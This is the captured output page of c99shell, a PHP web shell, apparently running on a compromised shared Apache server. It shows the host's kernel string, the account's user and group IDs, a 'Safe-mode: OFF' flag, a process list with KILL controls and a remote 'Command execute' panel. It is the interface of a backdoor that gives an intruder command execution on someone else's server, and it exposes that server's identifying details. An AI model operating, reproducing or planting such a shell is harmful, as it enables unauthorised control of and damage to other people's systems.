Software: Apache. PHP/8.3.27 uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364) Safe-mode: OFF (not secure) /usr/share/doc/sysstat/xml/ drwxr-xr-x | |
| Processes: | ||||||||||||||||||||||||||||||
| USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
| dh_z2jm+ | 2856412 | 4.9 | 0.0 | 226316 | 45180 | ? | S 06:41 0:12 php83.cgi | KILL | ||||||||||||||||||||||
| dh_z2jm+ | 2871616 | 49.6 | 0.0 | 248860 | 67436 | ? | R 06:43 1:03 php83.cgi | KILL | ||||||||||||||||||||||
| dh_z2jm+ | 2879591 | 7.4 | 0.0 | 227932 | 44832 | ? | S 06:44 0:04 php83.cgi | KILL | ||||||||||||||||||||||
| dh_z2jm+ | 2888631 | 0.0 | 0.0 | 7316 | 3260 ? R 06:46 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.104 ]-- |